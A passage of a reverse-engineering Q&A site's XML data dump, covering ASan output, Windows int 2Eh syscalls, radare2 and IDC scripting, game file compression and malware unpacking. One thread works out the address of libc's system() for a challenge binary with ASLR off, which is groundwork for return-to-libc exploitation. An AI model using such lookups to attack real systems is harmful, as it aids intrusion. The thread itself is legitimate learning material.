address:&#xA;  0x100057f5ffa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  0x100057f5ffb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  0x100057f5ffc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  0x100057f5ffd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  0x100057f5ffe0: 00 00 f1 f1 f1 f1 04 f2 f2 f2 f2 f2 f2 f2 04 f2&#xA;=&amp;gt;0x100057f5fff0: f2 f2 f2[f2]f2 f2 00 00 04 f2 00 00 00 00 00 00&#xA;  0x100057f60000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  0x100057f60010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  0x100057f60020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  0x100057f60030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;  0x100057f60040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;Shadow byte legend (one shadow byte represents 8 application bytes):&#xA;  Addressable:           00&#xA;  Partially addressable: 01 02 03 04 05 06 07 &#xA;  Heap left redzone:       fa&#xA;  Freed heap region:       fd&#xA;  Stack left redzone:      f1&#xA;  Stack mid redzone:       f2&#xA;  Stack right redzone:     f3&#xA;  Stack after return:      f5&#xA;  Stack use after scope:   f8&#xA;  Global redzone:          f9&#xA;  Global init order:       f6&#xA;  Poisoned by user:        f7&#xA;  Container overflow:      fc&#xA;  Array cookie:            ac&#xA;  Intra object redzone:    bb&#xA;  ASan internal:           fe&#xA;  Left alloca redzone:     ca&#xA;  Right alloca redzone:    cb&#xA;==27759==ABORTING&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please specify while posting if this a homework problem. We are happy to help but won't do all the job for you if you don't show any progress made/research done as @SYS_V mentioned in comments.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-09-13T18:06:33.463" LastActivityDate="2018-09-13T18:06:33.463" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19335" PostTypeId="2" ParentId="19333" CreationDate="2018-09-13T16:22:15.690" Score="6" Body="&lt;p&gt;&lt;code&gt;int 2Eh&lt;/code&gt; is used on 32bit OS to enter the kernel mode. On 64-bit, the same is obtained by using &lt;code&gt;syscall&lt;/code&gt;. The check done on memory address &lt;code&gt;0x7ffe0300&lt;/code&gt; is one of &lt;a href=&quot;http://www.rohitab.com/discuss/topic/40881-a-quick-way-to-detect-64-bit-windows/&quot; rel=&quot;noreferrer&quot;&gt;the ways to detect the bitness&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-09-13T16:22:15.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19336" PostTypeId="2" ParentId="19325" CreationDate="2018-09-13T18:01:31.863" Score="4" Body="&lt;p&gt;&lt;code&gt;bb&lt;/code&gt; refers to &lt;em&gt;basic block&lt;/em&gt;, which is  a sequence of instructions without branches (except possibly at the end), and corresponds to nodes in a &lt;em&gt;control flow graph&lt;/em&gt; (CFG), a structure commonly used in program analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cjmp&lt;/code&gt; is obviously a &lt;em&gt;conditional jump&lt;/em&gt;. Apparently the analysis code did not find an expected pattern and is warning you that the results may be not so good because of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we look at the message in &lt;a href=&quot;https://github.com/radare/radare2/blob/30d2d072b0285482a91a5ab691706f326b01dfce/libr/anal/fcn.c#L754&quot; rel=&quot;nofollow noreferrer&quot;&gt;the source code&lt;/a&gt;, we can see the &quot;decrypted&quot; message in the comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// predecessor must be a conditional jump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code seems to be analyzing patterns for jump tables, a common issue in disassemblers because they often mix data with code, and need to be recognized for proper disassembly.  The current analyzer seems to expect a specific pattern (likely the one present in Linux/GCC-produced files) but your file uses an instruction sequence that does not match its expectations. There are following possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the instruction is not for a table jump but something else (e.g. a function pointer call). In that case you can probably ignore the warning.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it &lt;em&gt;is&lt;/em&gt; a table jump but for one reason or another the code fails to recognize it. If you find that it prevents proper analysis, you can try fixing the code yourself or submitting a feature request.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Interestingly, I looked at the address in question, and apparently &lt;strong&gt;there is&lt;/strong&gt; a conditional jump in the predecessor block, so there may be some subtle bug in some other part of the code (e.g. basic block analysis) that prevents it from making the match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9b2DN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9b2DN.png&quot; alt=&quot;fragment of the function&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-13T18:01:31.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19337" PostTypeId="2" ParentId="19333" CreationDate="2018-09-14T01:04:38.243" Score="8" Body="&lt;p&gt;&lt;code&gt;7FFE0308h&lt;/code&gt; is a pointer inside the &lt;code&gt;KUSER_SHARED_DATA&lt;/code&gt; struct.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The pre-set address for access from kernel mode is defined symbolically in WDM.H as KI_USER_SHARED_DATA. It helps when debugging to remember that this is 0xFFDF0000 or 0xFFFFF780`00000000, respectively, in 32-bit and 64-bit Windows. Also defined is a convenient symbol, SharedUserData, which casts this constant address to a KUSER_SHARED_DATA pointer.&lt;/p&gt;&#xA;&lt;p&gt;The read-only user-mode address for the shared data is 0x7FFE0000, both in 32-bit and 64-bit Windows.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data.htm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We see from that ref above that SharedUserData+0x308 is&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0x0308 ULONG SystemCall&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;for Windows versions 1511 and higher.&lt;/p&gt;&#xA;&lt;p&gt;So what does it do?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// On AMD64, this value is initialized to a nonzero value if the system&#xA;// operates with an altered view of the system service call mechanism.&#xA;//&#xA;&#xA;ULONG SystemCall;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;from recent ntddk.h&lt;/p&gt;&#xA;&lt;p&gt;...not very helpful.&lt;/p&gt;&#xA;&lt;p&gt;So what's the difference between int 2e and syscall &lt;strong&gt;in this context?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://twitter.com/honorary_bot/status/966609444674162688&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://twitter.com/honorary_bot/status/966609444674162688&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Might be a clue: 'int 2e' instruction can be trapped by vmx, syscall not&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;More info here: &lt;a href=&quot;https://www.amossys.fr/fr/ressources/blog-technique/windows10-th2-int2e-mystery/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.amossys.fr/fr/ressources/blog-technique/windows10-th2-int2e-mystery/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;In the context of your question&lt;/strong&gt; the &lt;code&gt;ntdll.dll&lt;/code&gt; &lt;code&gt;int 0x2e&lt;/code&gt; system calls probably have something to do with Virtualization Based Security. They have been present in Windows 10 since version 1511, after having been removed as a syscall method since Windows 8.&lt;/p&gt;&#xA;" OwnerUserId="25462" LastEditorUserId="32936" LastEditDate="2023-02-14T14:28:59.423" LastActivityDate="2023-02-14T14:28:59.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19338" PostTypeId="1" AcceptedAnswerId="19341" CreationDate="2018-09-14T03:15:06.223" Score="4" ViewCount="670" Body="&lt;p&gt;As a beginner I'm trying to disassemble a file with IDA Pro 6.8. I write some IDC script for time-consuming work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to get the execution time of my script, but I can not find appropriate IDC function. Are there anyone to tell me how to write script get execution time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2018-09-14T19:38:40.887" Title="How to get execution time of IDC script?" Tags="|ida|script|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19340" PostTypeId="2" ParentId="9515" CreationDate="2018-09-14T07:56:53.777" Score="1" Body="&lt;p&gt;An alternative solution, for older IDA versions:&lt;br&gt;&#xA;Use &lt;code&gt;File&amp;gt;Produce file&amp;gt;Create DIF file...&lt;/code&gt; to dump all the changes.&lt;br&gt;&#xA;File format is &lt;code&gt;Offset: Old New&lt;/code&gt; for every patched byte in file.&lt;br&gt;&#xA;Find the bytes you want to change back, and do it manually.&lt;br&gt;&#xA;Just remember that offsets are from file start, they are not memory addresses.&lt;/p&gt;&#xA;" OwnerUserId="25623" LastActivityDate="2018-09-14T07:56:53.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19341" PostTypeId="2" ParentId="19338" CreationDate="2018-09-14T19:38:40.887" Score="5" Body="&lt;p&gt;What you could do as a workaround for the missing time-support in Ida:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDC has an &quot;Exec&quot; command (as mentioned in a comment) allowing you to make arbitrary calls to the OS. This might help. In the &quot;Exec&quot; bracktes you enter a command in much the same way as typing it on the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is an idc script file &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Writing the date and time with some comment into the file&#xA;C:\tmp\mytime.tim. &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reading this file and displying its contents to    Ida's output&#xA;window.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static main()&#xA;{&#xA;    writeTime();&#xA;}&#xA;&#xA;static writeTime()&#xA;{&#xA;    Exec (&quot;echo Date of script run #1234 was %date% &amp;gt;&amp;gt; c:\\tmp\\mytime.tim&quot;);&#xA;    Exec (&quot;echo Time of script run #1234 %time% &amp;gt;&amp;gt; c:\\tmp\\mytime.tim&quot;);&#xA;    print(&quot;Time written into C:\\tmp\\mytime.tim&quot;);&#xA;&#xA;    auto h = fopen(&quot;c:\\tmp\\mytime.tim&quot;, &quot;r&quot;);&#xA;    auto date = readstr(h);&#xA;    auto time = readstr(h);&#xA;    if (date != -1 &amp;amp;&amp;amp; time != -1)&#xA;    {   &#xA;        Message(&quot;%s&quot;, date);&#xA;        Message(&quot;%s&quot;, time);&#xA;    }&#xA;    else&#xA;        Message(&quot;error\n&quot;);&#xA;    fclose(h);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ida's output window shows the following:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sBHYt.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBHYt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-09-14T19:38:40.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19342" PostTypeId="1" CreationDate="2018-09-14T20:40:05.353" Score="1" ViewCount="345" Body="&lt;p&gt;I'm have been trying to mod these game for years, but I still stuck with the raw files from RACJIN games, [same case as Fullmetal Alchemist &amp;amp; Bleach]. The files appear to be compressed, and a signature scan using &lt;code&gt;binwalk&lt;/code&gt; does not return any results. Here is the entropy scan of one of the files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PxuwL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PxuwL.png&quot; alt=&quot;example entropy scan&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, a hex dump of the first few bytes in the file do not reveal any obvious header structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C -n 256 000001a6_5835296_6.raw &#xA;00000000  00 05 00 ff cd 14 20 58  80 03 02 04 04 b8 20 20  |...... X......  |&#xA;00000010  00 90 c0 99 02 18 20 10  a0 00 84 01 13 00 76 0a  |...... .......v.|&#xA;00000020  70 c0 40 80 01 20 a0 3e  08 10 08 e2 a7 00 07 10  |p.@.. .&amp;gt;........|&#xA;00000030  04 18 00 b0 ec 80 00 c0  c3 bc 0a 70 40 41 80 7a  |...........p@A.z|&#xA;00000040  4c 02 04 80 61 3c 56 80  03 16 02 0c b0 81 26 42  |L...a&amp;lt;V.......&amp;amp;B|&#xA;00000050  8f 00 41 23 4c 00 e2 f8  43 80 25 42 20 78 de 12  |..A#L...C.%B x..|&#xA;00000060  20 20 9c 01 07 90 c0 86  f0 25 40 fa 00 4f 9c 38  |  .......%@..O.8|&#xA;00000070  21 2f e1 4b 00 10 30 4d  04 88 a4 a1 50 80 50 65  |!/.K..0M....P.Pe|&#xA;00000080  2b 04 38 82 2a c0 10 2c  05 06 08 28 40 e0 80 13  |+.8.*..,...(@...|&#xA;00000090  24 00 ff 04 08 e1 db b7  13 23 b6 9d 28 f0 ff 3f  |$........#..(..?|&#xA;000000a0  40 00 d4 8b 02 0c 60 14  20 00 c8 a0 3b 02 04 0d  |@.....`. ...;...|&#xA;000000b0  3a c2 2e 01 58 20 9a ef  08 00 25 4a 00 80 c1 3a  |:...X ....%J...:|&#xA;000000c0  0d 80 40 00 6c d0 11 80  83 3e 01 00 0b 48 f3 05  |..@.l....&amp;gt;...H..|&#xA;000000d0  40 5e 0d 00 f4 6a 00 e8  a0 23 80 07 7d 22 12 4c  |@^...j...#..}&quot;.L|&#xA;000000e0  f3 05 20 96 05 08 00 66  d9 00 f0 41 47 00 10 ba  |.. ....f...AG...|&#xA;000000f0  23 80 2f 40 cd 17 80 be  16 20 00 68 6b 03 40 0c  |#./@..... .hk.@.|&#xA;00000100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Raw Files&#xA;&lt;a href=&quot;https://drive.google.com/file/d/1_LD5uCWewHncJLRlHR-X0_Zh0h7qTvFl/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1_LD5uCWewHncJLRlHR-X0_Zh0h7qTvFl/view&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to identify the compression algorithm used to compress these files so that they can be decompressed and analyzed.&lt;/p&gt;&#xA;" OwnerUserId="25661" LastEditorUserId="18317" LastEditDate="2018-09-15T17:55:14.243" LastActivityDate="2018-09-16T13:42:24.223" Title="Naruto Uzumaki Chronicles 2 .RAW Files [PS2]" Tags="|binary-analysis|decompress|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19344" PostTypeId="1" AcceptedAnswerId="19355" CreationDate="2018-09-15T10:43:02.157" Score="2" ViewCount="189" Body="&lt;p&gt;I decompiled a program where there is a function, which has only a single useful instruction which is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it the purpose of having this in an extra function, instead of using &lt;code&gt;xor eax, eax&lt;/code&gt; or &lt;code&gt;mov eax, 0&lt;/code&gt; at the place where the call happens to be?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Notes:&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Most of the time, it is called directly &lt;code&gt;call sub_41063A&lt;/code&gt; (address of the function), sometimes its address is loaded with &lt;code&gt;mov esi, offset sub_41063A&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;It is an x68_64-architecture&lt;/li&gt;&#xA;&lt;li&gt;I don't know, which compiler was used&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code examples: (I named the function 'clearEAX')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function Itself: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000000041063A&#xA;.text:000000000041063A clearEAX        proc near               ; CODE XREF: sub_40E4B4+37p&#xA;.text:000000000041063A                                         ; sub_40E528+DFp ...&#xA;.text:000000000041063A                 xor     eax, eax        ; Logical Exclusive OR&#xA;.text:000000000041063C                 retn                    ; Return Near from Procedure&#xA;.text:000000000041063C clearEAX        endp&#xA;.text:000000000041063C&#xA;.text:000000000041063D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its address being referenced (0x4113B2)&#xA;It being called directly in context: (0x4113CB)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00000000004113AC                 push    rbp&#xA;.text:00000000004113AD                 mov     edx, offset unk_514200&#xA;.text:00000000004113B2                 mov     esi, offset clearEAX&#xA;.text:00000000004113B7                 push    rbx&#xA;.text:00000000004113B8                 mov     ebx, edi&#xA;.text:00000000004113BA                 sub     rsp, 28h        ; Integer Subtraction&#xA;.text:00000000004113BE                 mov     rdi, rsp&#xA;.text:00000000004113C1                 call    nullsub_3       ; Call Procedure&#xA;.text:00000000004113C6                 mov     edi, offset unk_514200&#xA;.text:00000000004113CB                 call    clearEAX        ; Call Procedure&#xA;.text:00000000004113D0                 mov     rax, cs:qword_514398&#xA;.text:00000000004113D7                 test    rax, rax        ; Logical Compare&#xA;.text:00000000004113DA                 jz      short loc_4113E0 ; Jump if Zero (ZF=1)&#xA;.text:00000000004113DC                 mov     edi, ebx&#xA;.text:00000000004113DE                 call    rax ; qword_514398 ; Indirect Call Near Procedure&#xA;.text:00000000004113E0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I don't think, that the context does matter here because the context is nowhere near similar. Meaning that it's not the combination of moving the address first then calling it or something like that.&lt;/p&gt;&#xA;" OwnerUserId="24937" LastEditorUserId="24937" LastEditDate="2018-09-15T19:23:38.003" LastActivityDate="2018-09-16T02:13:45.227" Title="Why having a function with just one instruction" Tags="|ida|compilers|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="19345" PostTypeId="1" AcceptedAnswerId="19346" CreationDate="2018-09-15T11:55:55.247" Score="1" ViewCount="4782" Body="&lt;p&gt;How to calculate the address of a function in the LIBC, when ASLR is not active.&#xA;I only have the address where to load the LIBC (with &lt;code&gt;ldd /bin/bash&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the explanations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use your method I do not get the good result, although it is good in general (I do not understand why)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;libc base adress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldd ch33&#xA;        linux-gate.so.1 =&amp;gt;  (0xb7fff000)&#xA;        libc.so.6 =&amp;gt; /lib/i386-linux-gnu/libc.so.6 (0xb7e46000)&#xA;        /lib/ld-linux.so.2 (0x80000000)&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;system offset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gdb -q /lib/i386-linux-gnu/libc.so.6&#xA;gdb$ print system&#xA;$1 = {&amp;lt;text variable, no debug info&amp;gt;} 0x40310 &amp;lt;__libc_system&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then calculate &lt;code&gt;0x40310 + 0xb7e46000 = 0xb7e86310&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i should get &lt;code&gt;0xb7e64310&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;because:&#xA;&lt;code&gt;~$ gdb ch33&#xA;gdb$ r&#xA;Starting program: /challenge/app-systeme/ch33/ch33&#xA;...&#xA;gdb$ p system&#xA;$1 = {&amp;lt;text variable, no debug info&amp;gt;} 0xb7e64310 &amp;lt;__libc_system&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="24041" LastEditorUserId="24041" LastEditDate="2018-09-15T14:48:03.893" LastActivityDate="2018-09-15T15:25:25.847" Title="Found the adress of a function LIBC without GDB" Tags="|libc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19346" PostTypeId="2" ParentId="19345" CreationDate="2018-09-15T14:13:18.653" Score="1" Body="&lt;p&gt;This can be done using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;objdump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -TC /lib/x86_64-linux-gnu/libc.so.6 | grep &quot; printf$&quot;&#xA;&#xA;0000000000064e80 g    DF .text  00000000000000c3  GLIBC_2.2.5 printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;readelf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -Ws /lib/x86_64-linux-gnu/libc.so.6 | grep &quot; printf@@GLIBC_2.2.5&quot;&#xA;   627: 0000000000064e80   195 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.2.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;nm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep &quot; printf$&quot;&#xA;0000000000064e80 T printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ldd ./shellpointcode               &#xA;    linux-vdso.so.1 (0x00007fff3f1e1000)&#xA;    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f9213f000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007f3f92732000)&#xA;$ gdb -q /lib/x86_64-linux-gnu/libc.so.6&#xA;pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.&#xA;pwndbg: created $rebase, $ida gdb functions (can be used with print/break)&#xA;Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.27.so...done.&#xA;done.&#xA;pwndbg&amp;gt; print printf&#xA;$1 = {int (const char *, ...)} 0x64e80 &amp;lt;__printf&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the effective address of &lt;code&gt;printf&lt;/code&gt; would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x64e80+0x7f3f9213f000 = 0x7f3f921a3e80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-09-15T15:25:25.847" LastActivityDate="2018-09-15T15:25:25.847" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19347" PostTypeId="1" CreationDate="2018-09-15T14:19:30.523" Score="3" ViewCount="77" Body="&lt;p&gt;There are some &lt;code&gt;x86&lt;/code&gt; instructions which containing a low-level** control flow in its semantics, for example &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_72.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;div&lt;/a&gt; because its semantics is roughly as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (source == 0)&#xA;   throw exception...&#xA;else&#xA;   return rdx:rax / source&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or instructions with &lt;code&gt;rep&lt;/code&gt; prefix, etc. While a &lt;code&gt;mov&lt;/code&gt; or a &lt;code&gt;xor&lt;/code&gt; doesn't contain any control flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to classify instructions of &lt;code&gt;x86&lt;/code&gt; ISA depending on this criteria, my starting point now is looking into &lt;a href=&quot;https://intelxed.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Xed&lt;/a&gt;'s API to know if there exists some function which can give such an information, but it doesn't seem having any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concretely for &lt;code&gt;div&lt;/code&gt;, I've checked &lt;a href=&quot;https://intelxed.github.io/ref-manual/group__DEC.html#gad267d2d08e002b027915248689d1defe&quot; rel=&quot;nofollow noreferrer&quot;&gt;xed_decoded_inst_conditionally_writes_registers&lt;/a&gt;, &lt;a href=&quot;https://intelxed.github.io/ref-manual/group__DEC.html#gad6b80021a33c772fa74a038f17343562&quot; rel=&quot;nofollow noreferrer&quot;&gt;xed_operand_conditional_read/write&lt;/a&gt;, but all of them return false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** I'm sorry for this word, I don't know the precise terminology for this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: many thanks for comments but I've badly expressed my question. I update in the following some discussion to make the context more clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Xed's API would not give full instruction semantics, but some. For example, with some xed API (which I described above) we can get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, r8&#xA;&#xA;operands:                       2&#xA;uses rflag:                     no&#xA;has conditional read operand:   no&#xA;has conditional write operand:  no&#xA;conditionally write register:   no&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmovb rax, r8&#xA;&#xA;operands:                       3&#xA;uses rflag:                     yes&#xA;has conditional read operand:   no&#xA;has conditional write operand:  yes&#xA;conditionally write register:   yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so at least I know that &lt;code&gt;cmovb&lt;/code&gt; should have some conditional control flow in its semantics, while &lt;code&gt;mov&lt;/code&gt; has not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to apply this logic for other instructions: it works for some (e.g. &lt;code&gt;rep movsb&lt;/code&gt;, etc.), but not all: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for &lt;code&gt;div&lt;/code&gt;*** (or &lt;code&gt;mov&lt;/code&gt;), it would be &quot;acceptable&quot;* to say that there is no&#xA;conditional control flow, IMHO. We consider that an exception is side&#xA;effect: the instruction is not executed (or only partially executed)&#xA;if the exception is thrown&lt;/li&gt;&#xA;&lt;li&gt;for other cases of, e.g. &lt;code&gt;minps&lt;/code&gt;, this logic simply doesn't work&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;*** I have initially thought that &lt;code&gt;div&lt;/code&gt; contains conditional data-flow, but changed later :)&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2018-09-16T08:19:26.413" LastActivityDate="2018-09-16T08:19:26.413" Title="Recognizing instructions containing low-level control flows" Tags="|x86|control-flow-graph|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19349" PostTypeId="1" CreationDate="2018-09-15T15:56:35.580" Score="2" ViewCount="412" Body="&lt;p&gt;I did a brief survey on malware unpacking and I found several theses on automated general unpacking:Eureka, PolyUnpack, omniUnpack, Malware Normalization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, these theses are written years ago and I don't think these methods still work. A basic assumption of these methods is an unpacker routine restore whole protected code at a time. Thus, we can get original code dumping a certain memory region when an unpacker routine finishes its work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to more sophisticated packer (such as &lt;a href=&quot;http://bitlackeys.org/#maya&quot; rel=&quot;nofollow noreferrer&quot;&gt;Maya's veil&lt;/a&gt;), it doesn't reveal whole protected code. As far as I know an attempt to attack this problem is to &lt;a href=&quot;https://ieeexplore.ieee.org/document/5645447/&quot; rel=&quot;nofollow noreferrer&quot;&gt;distinguish between code that performs unpacking routine and code does not&lt;/a&gt; and I think this is not really unpacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only way to unpacking sophisticated packers is manually reversing it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank 